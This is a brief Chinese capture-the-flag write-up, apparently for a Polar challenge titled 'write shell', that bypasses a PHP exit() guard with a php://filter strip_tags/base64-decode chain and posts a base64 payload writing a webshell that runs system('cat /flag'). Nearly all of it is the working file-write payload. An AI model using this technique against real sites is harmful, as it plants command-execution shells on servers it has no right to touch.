polar 写shell

需要绕过exit，所以直接?filename=php://filter/string.strip_tags|convert.base64-decode/resource=flag.php
POST data为content=?>PD9waHAgZWNobyhzeXN0ZW0oJ2NhdCAvZmxhZycpKTs=content是base64加密，<?php echo(system('cat /flag'));